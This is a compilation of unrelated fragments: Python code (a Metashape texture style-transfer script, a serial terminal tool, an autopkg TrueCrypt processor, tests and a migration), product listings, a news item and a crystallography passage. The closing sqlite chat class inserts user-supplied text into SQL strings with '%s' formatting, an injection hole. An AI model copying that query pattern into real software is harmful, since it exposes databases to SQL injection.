from lucid.optvis.param.spatial import sample_bilinear
# if os.name != 'nt':
# print("Creating OpenGL context...")
# create_opengl_context()
gl.glGetString(gl.GL_VERSION)
print("Loading vision model...")
model = vision_models.InceptionV1()
model.load_graphdef()
def prepare_image(fn, size=None):
data = lucid_io.reading.read(fn)
im = PIL.Image.open(io.BytesIO(data)).convert('RGB')
if size:
im = im.resize(size, PIL.Image.ANTIALIAS)
return np.float32(im) / 255.0
self.loadCameras()
print("Loading input model from '{}'...".format(self.input_model_path))
mesh = meshutil.load_obj(self.input_model_path)
if self.cameras is None:
mesh = meshutil.normalize_mesh(mesh)
print("Loading input texture from '{}'...".format(self.input_texture_path))
original_texture = prepare_image(self.input_texture_path, (self.texture_size, self.texture_size))
print("Loading style from '{}'...".format(self.style_path))
style = prepare_image(self.style_path)
rendering_width = self.rendering_width
rendering_height = int(rendering_width // self.aspect_ratio)
print("Creating renderer with resolution {}x{}...".format(rendering_width, rendering_height))
renderer = glrenderer.MeshRenderer((rendering_width, rendering_height))
if self.cameras is not None:
print(" renderer fovy: {:.2f} degrees".format(self.max_fovy))
renderer.fovy = self.max_fovy
sess = create_session(timeout_sec=0)
# t_fragments is used to feed rasterized UV coordinates for the current view.
# Channels: [U, V, _, Alpha]. Alpha is 1 for pixels covered by the object, and
# 0 for background.
t_fragments = tf.placeholder(tf.float32, [None, None, 4])
t_uv = t_fragments[..., :2]
t_alpha = t_fragments[..., 3:]
# Texture atlas to optimize
t_texture = param.image(self.texture_size, fft=True, decorrelate=True)[0]
# Variable to store the original mesh texture used to render content views
content_var = tf.Variable(tf.zeros([self.texture_size, self.texture_size, 3]), trainable=False)
# Sample current and original textures with provided pixel data
t_joined_texture = tf.concat([t_texture, content_var], -1)
t_joined_frame = sample_bilinear(t_joined_texture, t_uv) * t_alpha
t_frame_current, t_frame_content = t_joined_frame[..., :3], t_joined_frame[..., 3:]
t_joined_frame = tf.stack([t_frame_current, t_frame_content], 0)
# Feeding the rendered frames to the Neural Network
t_input = tf.placeholder_with_default(t_joined_frame, [None, None, None, 3])
model.import_graph(t_input)
# style loss
style_layers = [sess.graph.get_tensor_by_name('import/%s:0' % s)[0] for s in self.googlenet_style_layers]
# L1-loss seems to be more stable for GoogleNet
# Note that we use style_decay>0 to average style-describing Gram matrices
# over the recent viewports. Please refer to StyleLoss for the details.
sl = StyleLoss(style_layers, self.style_decay, loss_func=mean_l1_loss)
# content loss
content_layer = sess.graph.get_tensor_by_name('import/%s:0' % self.googlenet_content_layer)
content_loss = mean_l1_loss(content_layer[0], content_layer[1]) * self.content_weight
# setup optimization
total_loss = content_loss + sl.style_loss
t_lr = tf.constant(0.05)
trainer = tf.train.AdamOptimizer(t_lr)
train_op = trainer.minimize(total_loss)
init_op = tf.global_variables_initializer()
loss_log = []
def reset(style_img, content_texture):
del loss_log[:]
init_op.run()
sl.set_style({t_input: style_img[None, ...]})
content_var.load(content_texture)
def sample_random_view():
if self.cameras is None:
return meshutil.sample_view(10.0, 12.0)
else:
rand_m = self.cameras[np.random.randint(0, len(self.cameras))]["transformToCamera"].copy()
return rand_m
def run(mesh, step_n=400):
app = QtWidgets.QApplication.instance()
for i in range(step_n):
fragments = renderer.render_mesh(
modelview=sample_random_view(),
position=mesh['position'], uv=mesh['uv'],
face=mesh['face'])
_, loss = sess.run([train_op, [content_loss, sl.style_loss]], {t_fragments: fragments})
loss_log.append(loss)
if i == 0 or (i + 1) % 50 == 0:
# clear_output()
last_frame, last_content = sess.run([t_frame_current, t_frame_content], {t_fragments: fragments})
# show.images([last_frame, last_content], ['current frame', 'content'])
if i == 0 or (i + 1) % 10 == 0:
print(len(loss_log), loss)
pass
# Show progress
self.pBar.setValue((i + step_n//10 + 1) / (step_n + step_n//10) * 100)
app.processEvents()
reset(style, original_texture)
print("Running {} iterations...".format(self.steps_number))
run(mesh, step_n=self.steps_number)
print("Finished!")
texture = t_texture.eval()
print("Exporting result texture to '{}'...".format(self.output_texture_path))
lucid_io.save(texture, self.output_texture_path, quality=90)
sess.close()
print("Importing result model to Metashape '{}'...".format(self.result_model_path))
chunk.model = None
chunk.importModel(self.result_model_path)
chunk.model.label = self.style_name
Metashape.app.messageBox("Everything worked fine!\n"
"Please save project and RESTART Metashape!\n"
"Because video memory was not released by TensorFlow!")
def model_style_transfer():
global chunk
chunk = Metashape.app.document.chunk
if chunk is None or chunk.model is None:
raise Exception("No active model!")
if chunk.model.texture is None or chunk.model.tex_vertices is None or len(chunk.model.tex_vertices) == 0:
raise Exception("Model is not textured!")
app = QtWidgets.QApplication.instance()
parent = app.activeWindow()
dlg = ModelStyleTransferDlg(parent)
label = "Custom menu/Model style transfer"
Metashape.app.addMenuItem(label, model_style_transfer)
print("To execute this script press {}".format(label))
|
Image Title: Amazon Com Displays2go 57 Inch Floor Standing Wire Magazine Rack For Plan 0. Filename: amazon-com-displays2go-57-inch-floor-standing-wire-magazine-rack-for-plan-0.jpg. Image Dimension: 431 x 741 pixels. Images Format: jpg/jpeg. Publisher/Author: Buster Williamson. Uploaded Date: Wednesday - January 23rd. 2019 09:21:04 AM. Category: Architecture. Image Source: zillow.com.
Tap The Thumbnail Bellow to See Related Gallery of "Amazon Com Displays2go 57 Inch Floor Standing Wire Magazine Rack For Plan 0"
|
import os
from sensorobjectlibrary import openhdlc as hdlc
from sensorobjectlibrary import Sol as sol
JSON = {
'timestamp': 1521645792,
'mac': '00-17-0d-00-00-58-5b-02',
'type': 33,
'value': {
'manager': '00-17-0d-00-00-58-5b-02',
'valid': True,
'snapshot': {
'getNetworkInfo': {
'numLostPackets': 0,
'advertisementState': 0,
'ipv6Address': 'fe80:0000:0000:0000:0017:0d00:0058:5b02',
'asnSize': 7250,
'numMotes': 0,
'numArrivedPackets': 0,
'netLatency': 0,
'netState': 0,
'netPathStability': 0,
'downFrameState': 1,
'maxNumbHops': 0,
'RC': 0,
'netReliability': 0
},
'timestamp_stop': 'Wed, 21 Mar 2018 15:23:12 UTC',
'getMoteConfig': {
'00-17-0d-00-00-58-5b-02': {
'macAddress': '00-17-0d-00-00-58-5b-02',
'reserved': 1,
'state': 4,
'isRouting': True,
'RC': 0,
'moteId': 1,
'isAP': True}
},
'epoch_stop': 1521645792.786726,
'getSystemInfo': {
'macAddress': '00-17-0d-00-00-58-5b-02',
'swBuild': 9,
'swPatch': 1, 'hwModel': 16, 'swMajor': 1, 'swMinor': 4,
'RC': 0, 'hwRev': 1
},
'getMoteLinks': {
'00-17-0d-00-00-58-5b-02': {
'links': []
}
},
'getMoteInfo': {
'00-17-0d-00-00-58-5b-02': {
'macAddress': '00-17-0d-00-00-58-5b-02',
'assignedBw': 0,
'stateTime': 1355,
'numGoodNbrs': 0, 'numJoins': 1, 'state': 4,
'packetsReceived': 6, 'hopDepth': 0,
'totalNeededBw': 55890, 'requestedBw': 55890, 'avgLatency': 0,
'RC': 0, 'numNbrs': 0, 'packetsLost': 0
}
},
'getPathInfo': {
'00-17-0d-00-00-58-5b-02': {
}
},
'timestamp_start': 'Wed, 21 Mar 2018 15:23:12 UTC',
'getNetworkConfig': {
'networkId': 1229, 'apTxPower': 8, 'ccaMode': 0, 'locMode': 0,
'numParents': 2, 'channelList': 32767, 'baseBandwidth': 9000,
'maxMotes': 101, 'bbSize': 1, 'bbMode': 0, 'oneChannel': 255,
'isRadioTest': 0, 'downFrameMultVal': 1, 'RC': 0,
'bwMult': 300, 'frameProfile': 1, 'autoStartNetwork': True
}
},
'name': 'snapshot'}}
JSON2 = {
'timestamp': 1521645792,
'mac': '00-17-0d-00-00-58-5b-02',
'type': 40,
'value': {
'SolManager': [2, 0, 1, 0],
'Sol': [1, 4, 0, 0],
'SmartMesh SDK': [1, 1, 2, 4]}
}
def test_hdlc():
file_name = "test_hdlc.backup"
h = hdlc.hdlcify(sol.json_to_bin(JSON))
s = "".join(chr(c) for c in h)
with open(file_name, 'ab') as f:
f.write(s)
(d,o) = hdlc.dehdlcify(file_name)
assert d[0] == sol.json_to_bin(JSON)
assert sol.bin_to_json(d[0]) == JSON
os.remove(file_name)
|
Read a taxonomic advisory regarding Sandvine and Swallow-wort from Alan Weakley and the Southern Appalachian Botanical Society.
Stalked clusters of small flowers in axils. Petals erect, spreading slightly, per Wildflowers of the Southern Mountains.
Leaves long-stalked, triangular, with a wide rounded basal sinus, per Wildflowers of the Southern Mountains.
Follicles smooth, lance-ovoid, 11-16cm long, per Vascular Flora of the Carolinas.
|
#-*- coding: utf-8 -*-
"""
dmlt.inodes
~~~~~~~~~~~
Node interface for DMLT.
:copyright: 2008 by Christopher Grebs.
:license: BSD, see LICENSE for more details.
"""
from dmlt import events
from dmlt.utils import node_repr, escape, striptags
from dmlt.query import NodeQueryMixin
class BaseNode(object):
"""
A node that represents a part of a document.
It still implements the `Query` interface to query for nodes.
Should be subclassed to implement more `format` options.
"""
__slots__ = ()
#: The node can contain children.
#: Each container node needs to implement
#: a `children` attribute to access child-nodes.
is_container = False
#: True if this is a text node
is_text_node = False
#: This node is some kind of line breaking node
#: as \n or \r\n are some.
is_linebreak_node = False
#: True if this node is a raw one.
#: Raw nodes are never processed by node-filters.
#: Use this only if the node-content matters e.g.
#: in sourcecode.
is_raw = False
is_document = False
#: the value of the node as text
text = u''
def __eq__(self, other):
return self.__class__ is other.__class__ and \
self.__dict__ == other.__dict__
def __ne__(self, other):
return not self.__eq__(other)
__repr__ = node_repr
class Node(BaseNode, NodeQueryMixin):
def prepare(self, format='html'):
return {'html': self.prepare_html}[format]()
def prepare_html(self):
return iter(())
class DeferredNode(Node):
"""
Special node with a `replace_by()` function that can be used to replace
this node in place with another one.
"""
def __init__(self, node):
self.node = node
def replace_by(self, other):
self.__class__ = other.__class__
self.__dict__ = other.__dict__
is_container = property(lambda s: s.node.is_container)
is_text_node = property(lambda s: s.node.is_text_node)
is_raw = property(lambda s: s.node.is_raw)
class Text(Node):
"""
Represents text.
"""
is_text_node = True
def __init__(self, text=u''):
self.text = text
def prepare_html(self):
yield escape(self.text)
class HTML(Node):
"""
Raw HTML snippet.
"""
def __init__(self, html=u''):
self.html = html
@property
def text(self):
return striptags(self.html)
def prepare_html(self):
yield self.html
class Container(Node):
"""
A basic node with children.
"""
is_container = True
def __init__(self, children=None):
if children is None:
children = []
self.children = children
@property
def text(self):
return u''.join(x.text for x in self.children)
def prepare_html(self):
for child in self.children:
for item in child.prepare_html():
yield item
class Document(Container):
"""
Outermost node.
"""
is_document = True
@events.register('define-document-node')
def _handle_define_document_node(manager, *args, **kwargs):
return Document
class Raw(Container):
"""
A raw container.
"""
is_raw = True
|
Experts, speakers and social media gurus will take part in the Social Media Summit (#SMS14) that is being held on March 29-30 in Islamabad under the aegis of the Progressive Youth Forum (PYF) and the Pakistan –US Alumni Network (PUAN). Around 300 participants are said to have registered themselves for the Summit and dozens of anchors and media persons have been invited.
According to the program schedule, the Summit will start in the Saturday evening and last for Sunday night. Different sessions like Social Media for Youth Activism, Social Media for Peace Promotion, Social Media for Women’s Empowerment, Social Media for Social Entrepreneurship, Social Media and the Changing Landscape of Journalism, The Power of Digital Story-telling and many more are said be conducted in the Summit. Keynote speeches and the talks by the media-person and columnists like Wusatuallah Khan, Muhammad Ziauddin, Moeed Pirzada, Raza Rumi, Adnan Rehmat, Sidra Iqbal, Faisal Kapadia and other relevant persons are also scheduled and different youth related activities will also take place in the summit.
Abdullah Dayo, who is the brain behind the idea of this Social Media Summit, is optimistic that this summit will discuss the ways that can help the social media to bring social change in Pakistan. He believes that social media has an immense power to create a society that witnesses justice, peace and economic stability. Abdullah Dayo is one of the founding members of the Progressive Youth Forum (PYF) that provides a platform for the youth to play their role for the regional peace and creating a social democratic and peaceful Pakistan.
Naveed Hussain has contributed this story from Islamabad.
|
#!/usr/bin/env python
# Copyright 2011-2012 Avery Pennarun and port.py contributors.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
import array
import errno
import fcntl
import os
import random
import select
import sys
import termios
import time
import tty
import options
optspec = """
port [options...] <tty>
--
s,speed= the baud rate to use [115200]
l,limit= maximum upload rate (for devices with crappy flow control) [9600]
"""
def log(s, *args):
if args:
ss = s % args
else:
ss = s
sys.stdout.flush()
sys.stderr.write(ss.replace('\n', '\r\n'))
sys.stderr.flush()
class ModemError(Exception):
pass
class AlreadyLockedError(Exception):
pass
def _speedv(speed):
try:
return termios.__dict__['B%s' % int(speed)]
except KeyError:
raise ModemError('invalid port speed: %r (try 115200, 57600, etc)'
% speed)
def _unlink(path):
try:
os.unlink(path)
except OSError, e:
if e.errno == errno.ENOENT:
return # it's deleted, so that's not an error
raise
class Lock(object):
"""Represents a unix tty lockfile to prevent overlapping access."""
def __init__(self, devname):
assert '/' not in devname
if os.path.exists('/var/lock'):
# Linux standard location
self.path = '/var/lock/LCK..%s' % devname
else:
# this is the patch minicom seems to use on MacOS X
self.path = '/tmp/LCK..%s' % devname
self.lock()
def __del__(self):
self.unlock()
def read(self):
try:
return int(open(self.path).read().strip().split()[0])
except IOError, e:
if e.errno == errno.ENOENT:
return None # not locked
else:
return 0 # invalid lock
except ValueError:
return 0
def _pid_exists(self, pid):
assert pid > 0
try:
os.kill(pid, 0) # 0 is a signal that always does nothing
except OSError, e:
if e.errno == errno.EPERM: # no permission means it exists!
return True
if e.errno == errno.ESRCH: # not found
return False
raise # any other error is weird, pass it on
return True # no error means it exists
def _try_lock(self):
try:
fd = os.open(self.path, os.O_WRONLY|os.O_CREAT|os.O_EXCL, 0666)
except OSError:
return
try:
os.write(fd, '%s\n' % os.getpid())
finally:
os.close(fd)
def lock(self):
mypid = os.getpid()
for _ in range(10):
pid = self.read()
if pid == mypid:
return
elif pid is None:
# file did not exist
self._try_lock()
elif pid > 0 and self._pid_exists(pid):
raise AlreadyLockedError('%r locked by pid %d'
% (self.path, pid))
else:
# the lock owner died or didn't write a pid. Cleaning it
# creates a race condition. Delete it only after
# double checking.
time.sleep(0.2 + 0.2*random.random())
pid2 = self.read()
if pid2 == pid and (pid == 0 or not self._pid_exists(pid)):
_unlink(self.path)
# now loop and try again. Someone else might be racing with
# us, so there's no guarantee we'll get the lock on our
# next try.
raise AlreadyLockedError('%r lock contention detected' % self.path)
def unlock(self):
if self.read() == os.getpid():
_unlink(self.path)
class Modem(object):
def __init__(self, filename, speed):
self.fd = self.tc_orig = None
if '/' not in filename and os.path.exists('/dev/%s' % filename):
filename = '/dev/%s' % filename
self.lock = Lock(os.path.basename(filename))
self.fd = os.open(filename, os.O_RDWR | os.O_NONBLOCK)
fcntl.fcntl(self.fd, fcntl.F_SETFL,
fcntl.fcntl(self.fd, fcntl.F_GETFL) & ~os.O_NONBLOCK)
self.tc_orig = tc = termios.tcgetattr(self.fd)
tc[4] = tc[5] = _speedv(speed)
tc[2] &= ~(termios.PARENB | termios.PARODD)
tc[2] |= termios.CLOCAL
termios.tcsetattr(self.fd, termios.TCSADRAIN, tc)
tty.setraw(self.fd)
def __del__(self):
self.close()
def close(self):
if self.fd is not None:
try:
termios.tcsetattr(self.fd, termios.TCSADRAIN, self.tc_orig)
except:
pass
os.close(self.fd)
def flags(self):
bits = [(i, getattr(termios,i))
for i in dir(termios)
if i.startswith('TIOCM_')]
tbuf = array.array('i', [0])
fcntl.ioctl(self.fd, termios.TIOCMGET, tbuf, True)
out = []
for name, bit in sorted(bits):
if tbuf[0] & bit:
out.append(name[6:])
return ', '.join(out)
def sendbreak(self):
termios.tcsendbreak(self.fd, 0)
def main():
o = options.Options(optspec)
(opt, flags, extra) = o.parse(sys.argv[1:])
if len(extra) != 1:
o.fatal("exactly one tty name expected")
filename = extra[0]
if opt.limit and opt.limit < 300:
o.fatal('--limit should be at least 300 bps')
if opt.limit > max(115200, int(opt.speed)):
o.fatal('--limit should be no more than --speed')
tc_stdin_orig = termios.tcgetattr(0)
modem = Modem(filename, opt.speed)
line = ''
MAGIC = ['~.', '!.']
try:
tty.setraw(0)
mflags = None
last_out = 0
if opt.limit:
secs_per_byte = 1.0 / (float(opt.limit) / 10)
assert(secs_per_byte < 0.1)
log('(Type ~. or !. to exit, or ~b to send BREAK)')
while 1:
newflags = modem.flags()
if newflags != mflags:
mflags = newflags
log('\n(Line Status: %s)\n', mflags)
r,w,x = select.select([0,modem.fd], [], [])
if 0 in r:
buf = os.read(0, 1)
if buf in '\r\n\x03':
line = ''
else:
line += buf
if line in MAGIC:
break
if line == '~b':
log('(BREAK)')
modem.sendbreak()
line = ''
elif len(buf):
os.write(modem.fd, buf)
if opt.limit:
time.sleep(secs_per_byte)
if modem.fd in r:
buf = os.read(modem.fd, 4096)
if len(buf):
os.write(1, buf)
if buf == '\0':
log('\n(received NUL byte)\n')
finally:
termios.tcsetattr(0, termios.TCSANOW, tc_stdin_orig)
if __name__ == '__main__':
try:
main()
except AlreadyLockedError, e:
sys.stderr.write('error: %s\n' % e)
exit(1)
|
UNEX BUILDING COMPLEX CO., LTD.
Glass Building Materials, Are you looking for information on rentals or a recurring order? Are you having trouble finding something? Let us know! We will get back to you as soon as possible with an answer.
Copyright © 2018 UNEX BUILDING COMPLEX CO., LTD. - All Rights Reserved.
|
"""empty message
Revision ID: 3394654f4780
Revises: 23c49602b4ca
Create Date: 2015-01-30 14:49:18.237825
"""
# revision identifiers, used by Alembic.
revision = '3394654f4780'
down_revision = '23c49602b4ca'
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import postgresql
def upgrade():
### commands auto generated by Alembic - please adjust! ###
op.create_table('queries',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('slug', postgresql.UUID(), nullable=True),
sa.Column('query', sa.String(), nullable=True),
sa.PrimaryKeyConstraint('id')
)
op.add_column(u'results', sa.Column('query_id', sa.Integer(), nullable=True))
op.add_column(u'results', sa.Column('result_url', sa.String(), nullable=True))
### end Alembic commands ###
def downgrade():
### commands auto generated by Alembic - please adjust! ###
op.drop_column(u'results', 'result_url')
op.drop_column(u'results', 'query_id')
op.drop_table('queries')
### end Alembic commands ###
|
Convincing writers, like my friend Ernesto, often create fans who completely believe he must be just like his wacky characters. Did you people never hear of imagination?? This guy walks down the street and you can actually see word bubbles above his head filled with bizarre cartoons and words in brilliant colors that keep spilling into and pushing the borders. I ask you, is that normal?
|
from django.core.urlresolvers import resolve
from django.test import TestCase
from items.models.item_post import ItemPost
from wef.views import Home
from items.views.booksale import BookSale
from wef.mixins.tests import SetUpLogInMixin
class BookSalePageTest(SetUpLogInMixin):
def test_booksale_url_resolves_to_home_view(self):
found = resolve('/booksale/')
self.assertEqual(found.func.__name__, BookSale.__name__)
def test_booksale_page_template(self):
response = self.client.get('/booksale/')
self.assertTemplateUsed(response, 'items/booksale.html')
class NewBookSaleTest(SetUpLogInMixin):
def test_client_post_books(self):
send_post_data_post = self.client.post(
'/booksale/',
data={
'title': '책 팝니다',
'book': ['book1', 'book2'],
'price': ['1000', '2000'],
}
)
new_post = ItemPost.objects.first()
self.assertEqual(new_post.title, '책 팝니다')
send_post_price_is_null_data = self.client.post(
'/booksale/',
data={
'title': '책팜2',
'book': ['book1', 'book2'],
'price': ['가격미정', '2000'],
'is_price_null': ['True', 'True'],
}
)
second_post = ItemPost.objects.last()
self.assertEqual(second_post.title, '책팜2')
self.assertEqual(second_post.booklist_set.first().bookprice, 0)
|
Showing: 266971 to 267000 of 541816 .
Complete any table or sideboard with the Old Dutch International Decorative Copper Footed Colander. The copper-plated stainless steel colander coordinates with most kitchen décor, bringing elegance and sophistication to any table.
Store a variety of kitchen accessories on the Old Dutch International 6-Shelf Cookware Stand. Organizing your pots, pans, plants, cookbooks, and more can be done in style on this space-saving, vertical cookware stand.
Bring style to your kitchen while saving yourself cabinet space with the sturdy design of the Old Dutch International Classic Hanging Pot Rack. With 16 hooks, you will have plenty of space to store and organize your most valued cookware.
Featuring a modern look and a sleek, space saving design, the Old Dutch International Wall-Mount 12-Hook Pot Rack provides a practical way to store and organize pots and pans in small kitchens. Sturdy, all-metal construction includes 12 hanging hooks.
These Old Dutch International Solid Copper Moscow Mule Shot Mugs are a quaint conversation starter that make a nice gift and can serve as unique ornaments. When the party starts, this set of 8 lets everyone share in the fun when the liquor is served.
Perfectly sized and featuring a sleek design with an eye-catching Satin Copper metal finish, the Old Dutch International 12-Hook Oval Medium Gauge Pot Rack provides a stylish way to neatly store, display and organize your pots and pans in your kitchen.
Dine in style with this set of Copper Hammered Rim Charger Plates by Old Dutch International. Beautifully crafted with hammered rims and finished in gleaming copper, these plates dress up a special dinner by adding an elegant sparkle to your table.
This solid Copper Mixing Bowl from Old Dutch International adds a beautiful and stylish accent to your kitchen with the added benefit of adding more volume to egg whites as you whip them. It even includes a hang ring for easy storage.
This chic double spoon rest will become your best friend in the kitchen. The elegant cut out design features a classic rooster motif. The handy double area is perfect for catching drips and holding messy tools, keeping your counters and stove top clean.
Add a decorative touch while protecting your table or countertop from hot cookware and dishes with the charming Wise Owl Trivet from Old Dutch International. Crafted of cast iron, this durable trivet will ensure years of use.
Add a major pop of color while protecting your kitchen and dining area from heat and scratches with this with this 2-Tone Little Birdie Trivet by Old Dutch International. It's designed with a bright powder-coat finish on cast iron.
Add a decorative touch while protecting your table or countertop from hot cookware and dishes with the charming Tree of Life Trivet from Old Dutch International. Crafted of cast iron, this durable trivet will ensure years of use.
Protect your kitchen counter or table from the heat of an entrée fresh from the oven with this chic Deco Trivet from Old Dutch International. The cast iron trivet provides a sturdy surface to rest hot cookware and bakeware on.
Add a decorative touch while protecting your table or countertop from hot cookware and dishes with the Flora Rectangular Trivet by Old Dutch International. Crafted of cast iron, the durable trivet features a lovely floral design and ensures years of use.
Protect any table or countertop with the chic "Paris" Trivet from Old Dutch International. Beautifully crafted in cast iron with a powder coating and a rich metallic finish, this charming trivet captures a touch of vintage Parisian style.
This charming utensil holder from Old Dutch is a great place to store and display spatulas, spoons, and more. The Antique Heritage Tool Caddy features an embossed grapevine motif that will add style and function to any kitchen.
When setting the right mood for a special occasion is important, this handcrafted Dutch International Copper-Plated Hammered Double Wine/Champagne Chiller is at your service for chilling your favorite bottles of wine and champagne for celebrating.
The "Deco" Spoon Rest from Old Dutch International, a handy kitchen item, is made of 100% cast iron and provides a convenient resting spot for your stir spoons, spatulas or turners. It collects drips so that you can keep your counter--or stove top--clean.
Showing: 266971 to 267000 of 541816 products.
|
#!/usr/bin/env python
import re
import urllib
import urllib2
from autopkglib import Processor, ProcessorError
__all__ = ["TrueCryptURLProvider"]
DLV_URL = 'http://www.truecrypt.org/downloads'
DLS_URL = 'http://www.truecrypt.org/dl'
re_verfind = re.compile('<input type="hidden" name="DownloadVersion" value="([0-9A-Za-z\.]*)">')
class TrueCryptURLProvider(Processor):
'''Provides URL to the latest TrueCrypt installer DMG.'''
input_variables = {
}
output_variables = {
'url': {
'description': 'URL to the latest download',
},
'truecrypt_version': {
'description': 'Version number',
}
}
description = __doc__
def get_version(self):
try:
f = urllib2.urlopen(DLV_URL)
content = f.read()
f.close()
except BaseException as e:
raise ProcessorError('Could not retrieve URL: %s' % DLV_URL)
m = re_verfind.search(content)
if m:
return m.group(1)
raise ProcessorError('No version found')
def get_url(self, version):
'''Get the URL of the TrueCrypt DMG
The TrueCrypt website has an HTML form that, when POSTed, returns
a 302 redirect to the actual DMG download. Handle all of that, as
ugly as it is, using urllib2.
'''
# no easy way to *not* follow redirects with urllib2, so do this
class NoRedirectHandler(urllib2.HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, hdrs, newurl):
pass
submit_form = {
'DownloadVersion': version,
'MacOSXDownload': 'Download',
}
try:
req = urllib2.Request(DLS_URL, urllib.urlencode(submit_form))
opener = urllib2.build_opener(NoRedirectHandler)
f = opener.open(req)
content = f.read()
f.close()
except BaseException as e:
if isinstance(e, urllib2.HTTPError) and e.code == 302:
url = e.headers['Location']
else:
raise ProcessorError('Could not retrieve URL: %s' % DLS_URL)
# hack to re-assemble URL with urlencoded filename part
url_split = url.split('/')
new_url = '/'.join(url_split[0:3]) + '/'
new_url += urllib.pathname2url('/'.join(url_split[3:]))
return new_url
def main(self):
self.env['truecrypt_version'] = self.get_version()
self.output('Version: %s' % self.env['truecrypt_version'])
self.env['url'] = self.get_url(self.env['truecrypt_version'])
self.output('URL: %s' % self.env['url'])
if __name__ == '__main__':
processor = TrueCryptURLProvider()
processor.execute_shell()
|
The tables in this chapter give information on modes and scattering geometries that are in most common use in the study of hypersound in single crystals. Just as in the case of X-rays, Brillouin scattering is not sensitive to the presence or absence of a centre of symmetry (Friedel, 1913 ). Hence, the results are the same for all crystalline classes belonging to the same centric group, also called Laue class. The correspondence between the point groups and the Laue classes analysed here is shown in Table 2.4.5.1 . The monoclinic and triclinic cases, being too cumbersome, will not be treated here.
Geometries for longitudinal modes (LA) are listed in Tables 2.4.5.2 to 2.4.5.8 . The first column gives the direction of the scattering vector that is parallel to the displacement . The second column gives the elastic coefficient according to (2.4.2.6) . In piezoelectric materials, effective elastic coefficients defined in (2.4.2.11) must be used in this column. The third column gives the direction of the light polarizations and , and the last column gives the corresponding coupling coefficient [equation (2.5.5.11) ]. In general, the strongest scattering intensity is obtained for polarized scattering ( ), which is the only situation listed in the tables. In this case, the coupling to light ( ) is independent of the scattering angle , and thus the tables apply to any value.
This table, written for the class , is also valid for the class with the additional relation . It can also be used for the spherical system where , .
This table, written for the class , is also valid for the class with the additional relations ; .
Tables 2.4.5.9 to 2.4.5.15 list the geometries usually used for the observation of TA modes in backscattering ( ). In this case, is always perpendicular to (pure transverse modes), and is not necessarily parallel to . Cases where pure TA modes with in the plane perpendicular to are degenerate are indicated by the symbol D in the column for . For the Pockels tensor components, the notation is if the rotational term vanishes by symmetry, and it is otherwise.
This table, written for the class , is also valid for the class with the additional relation .
It can also be used for the spherical system where , .
Tables 2.4.5.16 to 2.4.5.22 list the common geometries used for the observation of TA modes in 90° scattering. In these tables, the polarization vector is always perpendicular to the scattering plane and is always parallel to the incident wavevector of light q. Owing to birefringence, the scattering vector does not exactly bisect and [equation (2.4.4.4) ]. The tables are written for strict 90° scattering, , and in the case of birefringence the values of to be used are listed separately in Table 2.4.5.23 . The latter assumes that the birefringences are not large, so that the values of are given only to first order in the birefringence.
|
"""
Author : Or Israeli
FileName : database.py
Date : 5.5.17
Version : 1.0
"""
import sqlite3
from constants import *
import os
class DataBase(object):
def __init__(self, path):
object.__init__(self)
self.database = sqlite3.connect(path)
def create_database(self):
"""
The function creates a new users database table.
"""
self.database.execute('''create table user(username text primary key
not null, password text unique not null, email
text unique not
null, online int not null);''')
def drop_database(self):
"""
The function deletes the users database table.
"""
self.database.execute("drop table if exists user")
def create_friends_database(self):
"""
The function creates a new friends database table.
"""
self.database.execute('''create table friends(user text primary key
not null);''')
def drop_friends_database(self):
"""
The function deletes the friends database table.
"""
self.database.execute("drop table if exists friends")
def create_requests_database(self):
"""
The function creates a new requests database table.
"""
self.database.execute('''create table requests(user text primary key
not null);''')
def drop_requests_database(self):
"""
The function deletes the requests database table.
"""
self.database.execute("drop table if exists requests")
def create_chat_database(self):
"""
The function creates a new chat database table.
"""
self.database.execute('''create table chat(too text not null,
frm text not null, message text not null);''')
def drop_chat_database(self):
"""
The function deletes the chat database table.
"""
self.database.execute("drop table if exists chat")
def add_message(self, to, frm, message):
"""
The function adds a new message to the chat table.
Args:
to (string): The addressee of the message.
frm (string): The sender of the message.
message (string): The body of the message.
"""
self.database.execute("insert into chat (too, frm, message) "
"values ('%s', '%s', '%s')" % (to, frm,
message))
self.database.commit()
def get_message(self, to):
"""
The function finds all the messages that were sent to the user,
returns them and deletes them from the chat database.
Args:
to (string): The username of the user.
Returns:
list: The list of the messages that were sent to the user.
"""
cursor = self.database.execute("select too, frm, message from chat")
messages_list = []
for row in cursor:
if row[0] == to:
messages_list.append((row[0], row[1], row[2]))
try:
self.database.execute("delete from chat where too = '%s'" % to)
self.database.commit()
except sqlite3.IntegrityError:
pass
return messages_list
def get_requests(self):
"""
The function returns all the friendship requests that were sent
to the user.
Returns:
list: The list of the friendship requests.
"""
cursor = self.database.execute("select user from requests")
requests = []
for raw in cursor:
requests.append(raw[0])
return requests
def get_friends(self):
"""
The function returns all the friends of the user.
Returns:
list: The list of the friends.
"""
cursor = self.database.execute("select user from friends")
friends = []
for raw in cursor:
friends.append(raw[0])
return friends
def delete_request(self, user):
"""
The function deletes a friendship request that was sent
to the user by another user.
Args:
user (string): The user that sent the friendship request.
Returns:
bool: If the request was deleted or not.
"""
requests_list = self.get_requests()
if user in requests_list:
